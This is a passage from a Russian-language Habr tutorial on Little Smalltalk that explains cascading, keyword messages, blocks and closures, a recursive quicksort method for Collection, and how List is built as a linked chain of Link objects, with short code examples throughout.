Еще одним видом объединения посылок сообщений является каскадирование. При этом одному и тому же объекту посылается серия сообщений без необходимости каждый раз указывать имя объекта адресата. В таком случае сообщения записываются друг за другом через точку с запятой. В конце всего предложения ставится точка.
**Примечание:** каскадирование сообщений в Little Smalltalk сейчас работает не так, как в стандартных реализациях. Почему это происходит, еще предстоит выяснить.
#### Ключевые сообщения
На данный момент мы знаем уже два вида сообщений: унарные и бинарные. Еще есть *ключевые сообщения*, которые могут принимать один или несколько параметров. Возьмем из прошлого примера словарь методов класса SmallInt и спросим, какой ключ лежит под индексом 7:
```
-> SmallInt methods keys at: 7
asInteger
```
Здесь мы посылаем объекту `keys` сообщение `#at:` с параметром 7. Индексы в Smalltalk отсчитываются с 1, поэтому первый элемент имеет индекс 1 а последний равен размеру контейнера.
Вот еще один пример ключевого сообщения:
```
-> (Array new: 5) at: 1 put: 42
Array (42 nil nil nil nil)
```
Сначала мы создали массив, послав сообщение `#new:` объекту Array с параметром 5, означающим количество элементов. Затем мы поместили в только что созданный массив значение 42 по индексу 1. Получившийся массив был отображен на экране. Обратите внимание, что оставшиеся 4 ячейки заполнены значениями **nil**.
Замечательной особенностью ключевых сообщений является то, что строка `at: 1 put: 42` представляет собой **одно** параметризованное сообщение `#at:put:`, а не два, как можно было подумать. В стиле C-подобных языков это можно было записать навроде `keys->atPut(1, 42)`, однако в такой записи теряется соответствие переданных параметров и их назначения.
Допустим, у нас есть некий класс `Rectangle`, представляющий прямоугольник на некоторой плоскости. В C++ коде мы встретили такие строки:
```
Rectangle* rect1 = new Rectangle(200, 100);
Rectangle* rect2 = new Rectangle(200, 100, 115, 120, 45);
```
Как понять, какие числа чему соответствуют? Скажем, в первом случае наш опыт подскажет нам, что скорее всего, речь идет о размерах прямоугольника, и что первый параметр соответствует размеру по X, а второй по Y. Но чтобы это узнать точно, нам необходимо заглянуть в прототип конструктора класса `Rectangle`. Второй вариант выглядит еще менее читаемым. Разумеется, хороший программист бы и добавил комментариев в код, и изменил бы прототип функции так, чтобы он принимал «говорящие» типы, вроде `Point`, но речь сейчас не об этом.
Давайте посмотрим, как могла бы выглядеть подобная конструкция на языке Smalltalk:
```
rect1 <- Rectangle width: 200 height: 100.
rect2 <- Rectangle new
width: 200;
height: 100;
positionX: 115;
positionY: 120;
rotationDegrees: 45.
```
В первом случае мы послали сообщение `#width:height:` классу `Rectangle`, который создал инстанцию себя и установил значение соответствующих полей из своих параметров. Во втором случае мы создали инстанцию обычным образом, послав сообщение `#new`, а затем применили каскадирование сообщений для поочередного задания значений. Обратите внимание, каким наглядным становится код. Нам даже не нужно добавлять комментарии, чтобы читатель понял что происходит.
В принципе, этот код мог бы быть записан и «в лоб», однако выглядит это менее красиво:
```
"создаем инстанции"
rect1 <- Rectangle width: 200 height: 100.
rect2 <- Rectangle new.
"устанавливаем значения"
rect2 width: 200.
rect2 height: 100.
rect2 positionX: 115.
rect2 positionY: 120.
rect2 rotationDegrees: 45.
```
Возможность перемежать части *селектора* сообщения передаваемыми параметрами, как мне кажется, является одной из сильнейших сторон языка Smalltalk. При грамотном использовании имен переменных и селекторов это позволяет писать очень понятные методы, практически не требующие комментирования.
Взгляните на следующий пример кода. Это код класса Dictionary, отвечающий на унарное сообщение `#keysAsArray:`
```
keysAsArray | index result |
result <- Array new: keys size.
1 to: keys size do: [ :index | result at: index put: (keys at: index) ].
^ result
```
В теле этого метода мы сначала создаем массив возвращаемых значений, а затем наполняем его содержимым поля `keys`. Здесь единице передается сообщение `#to:do:` с двумя параметрами. Первый это `keys size`, а второй — кусок кода, который надо выполнить (выражение в квадратных скобках). В Smalltalk такие кусочки кода называются *блоками*. Разумеется, они являются объектами и могут храниться в переменной. Здесь переменной для блока не создается, а он передается сразу по месту использования. Для того чтобы выполнить блок, ему нужно послать сообщение #value, либо #value: если он принимает параметр. Именно это будет делать класс `SmallInt` в реализации своего метода `#to:do:`.
В нашем случае блок будет вызван `size` раз, каждый раз ему будет передаваться номер итерации, который будет интерпретироваться как индекс для выборки значений из `keys` и их добавления в `result`.
#### Синтаксис
На данный момент мы внезапно осознаем, что знаем уже 90% всего синтаксиса Smalltalk. Осталось только прокомментировать отдельные моменты и объяснить назначение тех или иных частей. Чтобы не было совсем скучно, проделаем это на реальном примере кода. Его я нагло позаимствовал из [исходников](https://github.com/0x7CFE/llst/blob/4ca757b767ff29a7866f64d4dcc194e40c72a482/image/imageSource.st#L2413) первичного образа. Сначала приведу весь текст целиком, а потом пройдемся по частям и прокомментируем назначение отдельных строк.
```
METHOD Collection
sort
^ self sort: [ :x :y | x < y ]
!
METHOD Collection
sort: criteria | left right mediane |
(self isEmpty) ifTrue: [^self].
mediane <- self popFirst.
left <- List new.
right <- List new.
self do: [ :x |
(criteria value: x value: mediane)
ifTrue: [ left add: x ]
ifFalse: [ right add: x ] ].
left <- left sort: criteria.
right <- right sort: criteria.
right add: mediane.
^ left appendList: right
!
```
Класс `Collection` представляет некоторую абстрактную коллекцию элементов. `Collection` не знает как хранить данные, он лишь предоставляет общие алгоритмы для оперирования ими. Одним из таких алгоритмов является сортировка.
Итак, по проядку:
```
METHOD Collection
sort
^ self sort: [ :x :y | x < y ]
!
```
Здесь мы объявляем метод сортировки по умолчанию, не принимающий параметров и вызывающий своего напарника — метод #sort: который в качестве параметра принимает блок, сравнивающий два элемента коллекции на основании некоторого критерия. У нас предоставляется критерий по умолчанию: отношение больше-меньше. Хотя, для сложных элементов коллекции никто не запрещает вызывать дополнительные сообщения, навроде `x someField < y someField`.
Запись `[ :x :y |` описывает формальные параметры блока, символ `^` — эквивалент **`return`** из мира Си. Ключевое слово `self` используется для посылки сообщения самому себе, `super` — для посылки своему предку.
Идем дальше:
```
sort: criteria | left right mediane |
(self isEmpty) ifTrue: [^self].
mediane <- self popFirst.
```
Здесь объявляется метод #sort: с одним формальным параметром `criteria`. Дальше идут локальные переменные, отделенные от остального текста вертикальными чертами. По стилю допускается записывать их в той же строке, хотя можно и перенести на следующую:
```
sort: criteria
| left right mediane |
(self isEmpty) ifTrue: [^self].
mediane <- self popFirst.
```
Затем мы проверяем базу рекурсии. В случае пустой коллекции, результатом сортировки будет так же пустая коллекция.
В общепринятом смысле, в языке Smalltalk синтаксиса нет. Есть отдельные сообщения и ключевые слова которые имеют особый смысл, но нет каких-то жестко заданных правил. Поэтому, нет и условных операторов. Вместо этого, с успехом применяется то, что так хорошо умеют делать объекты — обмениваться сообщениями.
Конструкция `(self isEmpty) ifTrue: [^self]` принципиально ничем не отличается от любой другой ей подобной. Круглые скобки здесь не обязательны и вставлены исключительно в декоративных целях. Сначала мы отправляем самому себе сообщение `#isEmpty`, а затем результату этого действия (одной из инстанций класса `Boolean`) посылаем сообщение `#ifTrue:` с параметром блока, который надо выполнить в случае истины.
Последней строкой мы связываем локальную переменную mediane с объектом, который возвращает текущий объект в ответ на сообщение `#popFirst`. Я намеренно употребил глагол «связываем» вместо «присваиваем», дабы подчеркнуть, что никакого копирования тут не происходит. Все переменные хранят только ссылки на объекты, а не значения. Коллекции тоже хранят ссылки, поэтому мы не должны заботиться о проблемах копирования больших объемов данных. Для явного создания копии объекта предусмотрены отдельные сообщения для полного или поверхностного (нерекурсивного) копирования.
Следующая часть кода, собственно сортировка:
```
left <- List new.
right <- List new.
self do: [ :x |
(criteria value: x value: mediane)
ifTrue: [ left add: x ]
ifFalse: [ right add: x ] ].
```
Мы создаем пару списков для хранения элементов, удовлетворяющих и не удовлетворяющих критерию сортировки. Условно мы называем их «левой» и «правой» половинами. Затем мы проходимся по содержимому текущей коллекции (метод `#do:`), для каждого элемента (`x`) мы вызываем блок сравнения с медианой и раскладываем элементы по спискам, на основании результата сравнения.
Обратите внимание на то, что блоки, будучи на самом деле отдельными объектами, спокойно обращаются к вышеобъявленным переменным. Так, блок внутри `#do:` использует переменную `mediane`, тогда как блок при `#ifTrue:` ссылается как на переменную `x`, так и на `left`, объявленную еще выше по иерархии. Это становится возможным благодаря тому, что блоки в Smalltalk являются [замыканиями](http://ru.wikipedia.org/wiki/%D0%97%D0%B0%D0%BC%D1%8B%D0%BA%D0%B0%D0%BD%D0%B8%D0%B5_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)) и завязаны на лексический контекст своего использования.
Наконец, остаток метода:
```
left <- left sort: criteria.
right <- right sort: criteria.
right add: mediane.
^ left appendList: right
```
Мы рекурсивно выполняем сортировку полученных частей, а затем соединяем отсортированную левую, медиану и отсортированную правую части в один список, который возвращаем в качестве результата сортировки.
Посмотрим теперь, как можно использовать сортировку:
```
"простая сортировка"
-> #(13 0 -6 221 64 7 -273 42 1024) sort
Array (-273 -6 0 7 13 42 64 221 1024)
"сортировка по убыванию"
-> #(13 0 -6 221 64 7 -273 42 1024) sort: [ :x :y | x > y ]
Array (1024 221 64 42 13 7 0 -6 -273)
"лексикографическая сортировка"
-> #(13 0 -6 221 64 7 -273 42 1024) sort: [ :x :y | x asString < y asString ]
Array (-273 -6 0 1024 13 221 42 64 7)
"сортировка по длине строчного представления"
-> #(13 0 -6 221 64 7 -273 42 1024) sort: [ :x :y | x asString size < y asString size ]
Array (7 0 13 -6 42 64 221 1024 -273)
"разбиение строки на слова"
->'а вообще, мне очень нравится этот язык!' words
List (а вообще, мне очень нравится этот язык!)
"разбиение строки на слова и сортировка по длине слова"
->'а вообще, мне очень нравится этот язык!' words sort: [ :x :y | x size < y size ]
List (а мне этот язык! очень вообще, нравится)
```
Таким образом, единый генерализованный алгоритм можно с успехом применять для обработки любого типа данных. Достаточно лишь задать правильный критерий.
#### Списки
Пару слов необходимо сказать и о контейнере List, который на самом деле является потомком Collection и хранит данные в виде однонаправленного списка, представленного цепочкой объектов. При этом голова списка хранится у него в поле, а дальше каждый следующий элемент (инстанция класса Link) ссылается на хранимый объект и на следующий элемент списка.
Поэтому, наиболее быстро добавлять данные в голову списка:
```
METHOD List
add: anElement
elements <- Link value: anElement next: elements.
^ anElement
!
```
Мы просто добавляем новый объект в поле elements, связывая его с текущим значением и с новым элементом, который необходимо хранить.
Добавление же элемента в хвост списка гораздо накладнее, поскольку нам необходимо сперва туда добраться:
```
METHOD List
addLast: anElement
elements isNil
ifTrue: [ self add: anElement ]
ifFalse: [ elements addLast: anElement ].
^ anElement
!
METHOD Link
addLast: anElement
next notNil
ifTrue: [ ^ next addLast: anElement ]
ifFalse: [ next <- Link value: anElement ]
!
```
В этом смысле списки Smalltalk напоминают соответствующие структуры в языке Haskell (разумеется за вычетом требования гомогенности списка в Haskell). При этом оператор `:` соответствует #add:, а оператор `++` соответствует `#addLast:`.
Наконец, метод #appendList: быстро связывает два списка в один. Он находит конец первого списка и приклеивает к нему второй:
```
METHOD List
appendList: aList | element |
(elements isNil)
ifTrue: [ elements <- aList firstLink. ^self ].
element <- elements.
[element next isNil]
whileFalse: [element <- element next].
element next: aList firstLink.
^self
!
```
Это сделать быстрее, чем итеративно добавлять элементы один за другим.
#### Заключение
В этот раз мы с вами постарались заглянуть в мир Smalltalk. Надеюсь, что мне удалось продемонстрировать основные моменты работы с этим языком, не потеряв по дороге смысл и ощущение простоты. Теперь у нас есть база для последующих статей, в которых уже будут затрагиваться более низкоуровневые вещи. Спасибо за внимание!
[Продолжение следует](http://habrahabr.ru/post/191250/) :)
**P.S.:** Хабрачеловек [sheknitrtch](https://habrahabr.ru/users/sheknitrtch/) сделал [патч](https://bitbucket.org/0x7CFE/llst/commits/all/tip/branch%28%22win32-msvc%22%29), позволяющий компилировать llst на MSVC10, за что ему большое спасибо. Если кто-либо желает сделать билд для размещения в downloads — просьба стучаться в личку. | https://habr.com/ru/post/164769/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.